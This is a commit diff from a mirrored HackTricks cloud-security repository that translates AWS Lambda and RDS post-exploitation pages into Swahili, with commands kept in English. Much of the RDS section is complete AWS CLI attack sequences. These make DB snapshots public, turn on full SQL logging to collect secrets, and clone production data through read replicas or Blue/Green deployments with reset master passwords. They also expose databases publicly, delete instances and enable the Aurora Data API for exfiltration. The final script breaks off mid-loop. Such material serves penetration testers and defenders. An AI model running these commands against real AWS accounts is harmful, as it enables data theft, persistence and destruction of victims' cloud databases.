mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
+13
-13
@@ -1,4 +1,4 @@
|
||||
# AWS - Lambda Post Exploitation
|
||||
# AWS - Lambda Baada ya Uvamizi
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,21 +12,21 @@ Kwa taarifa zaidi angalia:
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda hutumia vigezo vya mazingira (environment variables) kuingiza credentials wakati wa runtime. Ikiwa unaweza kupata ufikiaji kwao (kwa kusoma `/proc/self/environ` au kwa kutumia function yenye udhaifu yenyewe), unaweza kuzitumia mwenyewe. Zipo katika majina ya kigezo cha default `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, na `AWS_ACCESS_KEY_ID`.
|
||||
Lambda inatumia variables za mazingira (environment variables) kuingiza credentials wakati wa runtime. Ikiwa unaweza kupata ufikiaji kwao (kwa kusoma `/proc/self/environ` au kwa kutumia function yenye udhaifu yenyewe), unaweza kuzitumia mwenyewe. Zipo katika majina ya default ya variables `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, na `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Kwa chaguo-msingi, hizi zitakuwa na uwezo wa kuandika kwenye cloudwatch log group (jina lake limehifadhiwa katika `AWS_LAMBDA_LOG_GROUP_NAME`), pamoja na kuunda log groups yoyote; hata hivyo, Lambda functions mara nyingi zina idhini za ziada zilizotengwa kulingana na matumizi yao yaliyokusudiwa.
|
||||
Kwa default, hizi zitakuwa na ruhusa za kuandika kwenye cloudwatch log group (jina lake limehifadhiwa katika `AWS_LAMBDA_LOG_GROUP_NAME`), pamoja na kuunda log groups yoyote, hata hivyo lambda functions mara nyingi zina ruhusa zaidi zilizotolewa kulingana na matumizi yao yaliyokusudiwa.
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### Kupora Maombi ya URL za Lambda za Wengine
|
||||
|
||||
Ikiwa attacker kwa namna fulani anafanikiwa kupata RCE ndani ya Lambda, atakuwa na uwezo wa kuiba HTTP requests za watumiaji wengine kwa Lambda. Iki requests zina taarifa nyeti (cookies, credentials...) atakuwa na uwezo wa kuziiba.
|
||||
Ikiwa mshambuliaji kwa namna fulani anafanikisha kupata RCE ndani ya Lambda, ataweza kupora HTTP requests za watumiaji wengine kwenda kwa lambda. Ikiwa maombi hayo yanajumuisha taarifa nyeti (cookies, credentials...) ataweza kuyapora.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Kupora Maombi ya URL za Lambda za Wengine & Maombi ya Extensions
|
||||
|
||||
Kwa kutumia vibaya Lambda Layers pia inawezekana kutumia vibaya extensions na kudumu ndani ya Lambda, pamoja na kuiba na kubadilisha requests.
|
||||
Kwa kutumia mbinu za kuabusu Lambda Layers pia inawezekana kuabusu extensions na kudumu ndani ya lambda na pia kupora na kurekebisha maombi.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +34,7 @@ Kwa kutumia vibaya Lambda Layers pia inawezekana kutumia vibaya extensions na ku
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Lazimisha Lambda function kutoka kwenye VPC iliyozuiwa kwa kusasisha configuration yake kwa VpcConfig tupu (SubnetIds=[], SecurityGroupIds=[]). Function hiyo itaendeshwa kwenye plane ya networking inayosimamiwa na Lambda, ikipata tena uwezo wa kufikia mtandao wa nje na kuepuka controls za egress zinazotekelezwa na private VPC subnets bila NAT.
|
||||
Lazimisha function ya Lambda kutoka kwenye VPC iliyozuiliwa kwa kuboresha configuration yake na VpcConfig tupu (SubnetIds=[], SecurityGroupIds=[]). Function hiyo itaendelea kukimbia kwenye usimamizi wa mtandao wa Lambda, ikirejea upatikanaji wa intaneti kutoka nje na kukwepa udhibiti wa egress unaotekelezwa na subnets za VPC binafsi bila NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Tumia vibaya `lambda:PutRuntimeManagementConfig` ku-pin function kwa runtime version maalum (Manual) au ku-ifreeze updates (FunctionUpdate). Hii inahifadhi compatibility na malicious layers/wrappers na inaweza kuifanya function ibaki kwenye runtime ya zamani yenye udhaifu ili kusaidia exploitation na persistence ya muda mrefu.
|
||||
Abusu `lambda:PutRuntimeManagementConfig` ili ku-pin function kwa toleo maalumu la runtime (Manual) au kuzuia updates (FunctionUpdate). Hii huhifadhi ulinganifu na layers/wrappers zenye madhara na inaweza kuacha function kwenye runtime iliyoharibika au yenye udhaifu ili kusaidia exploitation na persistence ya muda mrefu.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Tumia vibaya `lambda:UpdateFunctionConfiguration` controls za advanced logging ili kurekebisha logs za function kwenda kwenye CloudWatch Logs log group iliyochaguliwa na mshambuliaji. Hii inafanya kazi bila kubadilisha code au execution role (most Lambda roles tayari zina `logs:CreateLogGroup/CreateLogStream/PutLogEvents` kupitia `AWSLambdaBasicExecutionRole`). Iki function ikachapisha secrets/request bodies au kukatika kwa crash na stack traces, unaweza kuzikusanya kutoka kwenye log group mpya.
|
||||
Abusu `lambda:UpdateFunctionConfiguration` vitendo vya logging vya juu ili kurekebisha logs za function kwenda kwenye CloudWatch Logs log group iliyochaguliwa na mshambuliaji. Hii inafanya kazi bila kubadilisha code au execution role (most Lambda roles tayari zinajumuisha `logs:CreateLogGroup/CreateLogStream/PutLogEvents` kupitia `AWSLambdaBasicExecutionRole`). Ikiwa function inachapisha secrets/request bodies au inagonga crash na stack traces, unaweza kuzikusanya kutoka kwenye log group mpya.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Badilisha private Lambda Function URL kuwa endpoint ya umma isiyothibitishwa kwa kubadilisha Function URL AuthType kuwa NONE na kuambatisha resource-based policy inayowapa kila mtu lambda:InvokeFunctionUrl. Hii inaruhusu anonymous invocation ya internal functions na inaweza kufichua operesheni za backend zenye nyeti.
|
||||
Geuza private Lambda Function URL kuwa public endpoint isiyothibitishwa kwa kubadilisha Function URL AuthType kuwa NONE na kuambatisha resource-based policy inayompa lambda:InvokeFunctionUrl kila mtu. Hii inawawezesha watu wasiothibitishwa kuitisha functions za ndani kwa siri na inaweza kufichua operesheni nyeti za backend.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Tumia vibaya `UpdateEventSourceMapping` kubadilisha target Lambda function ya Event Source Mapping (ESM) iliyopo ili rekodi kutoka DynamoDB Streams, Kinesis, au SQS ziletwe kwa function inayodhibitiwa na mshambuliaji. Hii inaelekeza data ya moja kwa moja kimya bila kugusa producers au code ya function ya awali.
|
||||
Abusu `UpdateEventSourceMapping` kubadili target Lambda function ya Event Source Mapping (ESM) iliyopo ili rekodi kutoka DynamoDB Streams, Kinesis, au SQS ziletwe kwa function inayodhibitiwa na mshambuliaji. Hii inaelekeza data hai kimya bila kugusa producers au code ya function ya asili.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Tumia vibaya `lambda:UpdateFunctionConfiguration` kuambatisha EFS Access Point iliyopo kwa Lambda, kisha tuma code rahisi inayoorodhesha/ikusoma files kutoka kwenye path iliyopachikwa ili exfiltrate secrets/config zilizoshirikiwa ambazo function haikuweza kufikia hapo awali.
|
||||
Abusu `lambda:UpdateFunctionConfiguration` kuambatisha EFS Access Point iliyokuwepo kwa Lambda, kisha weka code rahisi inayoorodhesha/ikusome faili kutoka kwenye njia iliyopandikizwa ili exfiltrate shared secrets/config ambazo function haikuweza kufikia hapo awali.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
+460
-19
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
Kwa taarifa zaidi angalia:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Ikiwa mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB ipatikane kwa umma** kwa kuunda snapshot ya DB, kisha kuunda DB inayopatikana kwa umma kutoka kwenye snapshot.
|
||||
Ikiwa mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB inapatikana kwa umma** kwa kuunda snapshot ya DB, na kisha DB inayopatikana kwa umma kutoka kwa snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Mshambulizi akiwa na ruhusa hizi anaweza **kuunda snapshot ya DB** na kuifanya **kwa umma** **kupatikana**. Kisha, anaweza kuunda DB katika akaunti yake mwenyewe kutoka kwenye snapshot hiyo.
|
||||
Mtu mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuifanya **kupatikana** **kwa umma**. Kisha, anaweza kuunda DB kwenye akaunti yake kutoka kwa snapshot hiyo.
|
||||
|
||||
Ikiwa mshambulizi **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya **nyingine** snapshots zilizoundwa **za umma**.
|
||||
Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshots **nyingine** zilizoundwa ziwe **kwa umma**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za instance ya RDS**. Ikiwa data nyeti au vitambulisho vya ufikiaji vimeandikwa kwa bahati mbaya kwenye logi, mshambuliaji anaweza kutumia taarifa hizi kuinua mamlaka yake au kutekeleza vitendo visivyoidhinishwa.
|
||||
Mshambuliaji akiwa na ruhusa `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za RDS instance**. Ikiwa data nyeti au nyaraka za ufikiaji zimeandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hizi kuongeza ruhusa zake au kufanya vitendo visivyoidhinishwa.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: Upatikanaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials.
|
||||
**Potential Impact**: Ufikiaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza kufanya **DoS kwa instances za RDS zilizopo**.
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza **DoS existing RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Athari inayowezekana**: Ufutaji wa instances za RDS zilizopo, na uwezekano wa kupoteza data.
|
||||
**Athari inayowezekana**: Kufutwa kwa RDS instances zilizopo, na uwezekano wa kupoteza data.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Jaribu
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **export an RDS instance snapshot to an S3 bucket**. Ikiwa mshambuliaji ana udhibiti wa S3 bucket ya lengo, wanaweza kufikia data nyeti ndani ya exported snapshot.
|
||||
Mshambuliaji mwenye idhini hii anaweza **kusafirisha snapshot ya instance ya RDS hadi S3 bucket**. Ikiwa mshambuliaji anadhibiti S3 bucket ya lengo, anaweza kupata data nyeti ndani ya snapshot iliyosafirishwa.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Athari inayowezekana**: Ufikiaji wa data nyeti katika snapshot iliyotolewa.
|
||||
|
||||
### Cross-Region Automated Backups Replication kwa Rejesho la Kificho (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Kuiga automated backups kati ya Regions kwa kurejesha kwa siri (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Tumia vibaya cross-Region automated backups replication kuiga kimya kimya automated backups za instance ya RDS hadi AWS Region nyingine na kuzirejesha pale. Mshambuliaji anaweza kisha kufanya DB iliyorejeshwa ipatikane hadharani na kuweka upya nenosiri la master ili kufikia data kwa njia isiyo ya kawaida katika Region ambayo watetezi wanaweza wasiifuatilie.
|
||||
Tumia vibaya cross-Region automated backups replication ili kwa utulivu kunakili automated backups za instance ya RDS kwenda AWS Region nyingine na kurejesha huko. Attacker anaweza kisha kufanya DB iliyorejeshwa iwe inapatikana kwa umma na kuweka upya master password ili kupata data out-of-band katika Region ambayo defenders huenda hawafuatilii.
|
||||
|
||||
Ruhusa zinazohitajika (kiwango cha chini):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` katika Region ya lengo
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` katika Region ya lengo
|
||||
- `rds:RestoreDBInstanceToPointInTime` katika Region ya lengo
|
||||
- `rds:ModifyDBInstance` katika Region ya lengo
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (kusafisha chaguo)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ili kufanya DB iliyorejeshwa ifikike kwa umma)
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (usafishaji wa hiari)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (kuweka wazi DB iliyorejeshwa)
|
||||
|
||||
Athari: Persistence na kuiba/data exfiltration kwa kurejesha nakala ya data za production ndani ya Region nyingine na kuziweka wazi kwa umma kwa kutumia credentials zinazosimamiwa na mshambuliaji.
|
||||
Impact: Uendelevu na data exfiltration kwa kurejesha nakala ya data ya production katika Region nyingine na kuiweka wazi kwa umma kwa kutumia credentials zinazodhibitiwa na attacker.
|
||||
|
||||
<details>
|
||||
<summary>CLI kutoka mwanzo hadi mwisho (badilisha placeholders)</summary>
|
||||
@@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Wezesha kurekodi kamili ya SQL kupitia DB parameter groups na exfiltrate kupitia RDS log APIs
|
||||
|
||||
Tumia `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kunasa statements zote za SQL zinazotekelezwa na applications (hakuna DB engine credentials zinahitajika). Wezesha engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs.
|
||||
|
||||
Ruhusa zinazohitajika (angalau):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Hatua
|
||||
1) Recon lengo na parameter group ya sasa
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Hakikisha custom DB parameter group imeambatishwa (haiwezi kuhariri default)
|
||||
- Ikiwa instance tayari inatumia custom group, tumia tena jina lake katika hatua inayofuata.
|
||||
- Vinginevyo, tengeneza na uambatishe moja inayolingana na engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--db-parameter-group-family postgres16 \
|
||||
--description "HT logging"
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <DB> \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Washa ufuatiliaji wa kina wa SQL
|
||||
- MySQL engines (mara moja / hakuna upya):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
|
||||
# Optional extras:
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL injini (zinahitaji kuanzishwa upya):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
|
||||
# Optional to log duration for every statement:
|
||||
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
|
||||
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Acha workload iende (au generate queries). Statements zitaandikwa kwenye engine file logs
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Gundua na pakua logs (hakuna DB creds zinazohitajika)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
|
||||
aws rds download-db-log-file-portion \
|
||||
--db-instance-identifier <DB> \
|
||||
--log-file-name general/mysql-general.log \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Changanua nje ya mtandao kwa data nyeti
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Mfano wa ushahidi (imefichwa):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Usafishaji
|
||||
- Rudisha vigezo kwa mipangilio ya chaguo-msingi na anzisha upya ikiwa inahitajika:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
|
||||
|
||||
# PostgreSQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Athari: Upataji wa data baada ya Post-exploitation kwa kunasa maagizo yote ya SQL ya programu kupitia AWS APIs (hakuna DB creds), kwa uwezekano leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Tumia RDS read replicas vibaya kupata out-of-band read access bila kugusa primary instance credentials. Mshambuliaji anaweza kuunda a read replica kutoka kwa production instance, kuweka upya master password ya replica (hii haibadilishi primary), na kwa hiari kuweka replica hadharani ili exfiltrate data.
|
||||
|
||||
Ruhusa zinazohitajika (hali ya chini):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (kama unapofungua hadharani)
|
||||
|
||||
Athari: Ufikiaji wa kusoma tu wa data za production kupitia replica yenye credentials zinazodhibitiwa na mshambuliaji; uwezekano mdogo wa kugunduliwa kwani primary inabaki bila kuguswa na replication inaendelea.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
|
||||
--output table
|
||||
|
||||
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
|
||||
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
|
||||
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
|
||||
|
||||
# 3) Create the read replica (optionally public)
|
||||
aws rds create-db-instance-read-replica \
|
||||
--db-instance-identifier <REPL_ID> \
|
||||
--source-db-instance-identifier <SOURCE_DB> \
|
||||
--db-instance-class db.t3.medium \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SGID>
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 4) Reset ONLY the replica master password (primary unchanged)
|
||||
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 5) Connect and dump (use the SOURCE master username + NEW password)
|
||||
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
|
||||
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Mfano wa ushahidi (MySQL):
|
||||
- Hali ya Replica DB: `available`, replication ya kusoma: `replicating`
|
||||
- Muunganisho uliofanikiwa kwa nenosiri jipya na `@@read_only=1` ukithibitisha ufikiaji wa replica ya kusoma tu.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Tumia vibaya RDS Blue/Green kuklonisha DB ya production hadi mazingira ya green yanayoriplicatewa kwa mfululizo na ya kusoma tu. Kisha weka upya nyaraka za master za green ili kupata data bila kugusa instance ya blue (prod). Hii ni ya kimya zaidi kuliko snapshot sharing na mara nyingi huvuka ufuatiliaji unaolenga chanzo pekee.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
|
||||
|
||||
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
|
||||
|
||||
# 2) Create Blue/Green deployment (replicates blue->green continuously)
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name ht-bgd-attack \
|
||||
--source <BLUE_DB_ARN> \
|
||||
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
|
||||
|
||||
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
|
||||
aws rds describe-blue-green-deployments \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
|
||||
|
||||
# Typical green id: <blue>-green-XXXX
|
||||
|
||||
# 3) Reset the green master password (does not affect blue)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--master-user-password 'Gr33n!Exfil#1' \
|
||||
--apply-immediately
|
||||
|
||||
# Optional: expose the green for direct access (attach an SG that allows the DB port)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
|
||||
--apply-immediately
|
||||
|
||||
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
|
||||
aws rds describe-db-instances \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text
|
||||
|
||||
# Then connect with the master username and the new password and run SELECT/dumps
|
||||
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
|
||||
|
||||
# 5) Cleanup – remove blue/green and the green resources
|
||||
aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Athari: Kusoma-tu lakini upatikanaji kamili wa data kwenye clone karibu-wa-wakati-halisi wa production bila kubadilisha instance ya production. Inafaa kwa uondoaji wa data kwa kificho na uchambuzi wa offline.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Kutumia vibaya Aurora ili kuwezesha RDS Data API HTTP endpoint kwenye cluster lengwa, kuweka upya master password hadi thamani unayodhibiti, na kuendesha SQL over HTTPS (hakuna VPC network path inahitajika). Inafanya kazi kwenye Aurora engines ambazo zinaunga mkono Data API/EnableHttpEndpoint (mfano, Aurora MySQL 8.0 provisioned; baadhi ya toleo za Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Athari: Bypass network segmentation and exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI kamili (mfano wa Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
CLUSTER_ID=<target-cluster-id>
|
||||
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
|
||||
--db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].DBClusterArn' --output text)
|
||||
|
||||
# 2) Enable Data API HTTP endpoint on the cluster
|
||||
# Either of the following (depending on API/engine support):
|
||||
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
|
||||
# or
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--enable-http-endpoint --apply-immediately
|
||||
|
||||
# Wait until HttpEndpointEnabled is True
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].HttpEndpointEnabled' --output text
|
||||
|
||||
# 3) Reset master password to attacker-controlled value
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
|
||||
# Wait until pending password change is applied
|
||||
while :; do
|
||||
